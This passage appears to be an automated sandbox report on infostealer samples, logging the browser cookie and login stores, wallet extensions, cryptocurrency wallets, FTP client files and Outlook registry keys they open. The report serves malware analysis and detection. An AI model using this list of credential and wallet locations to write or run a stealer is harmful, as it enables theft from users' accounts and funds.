Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Searches for user specific document files

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
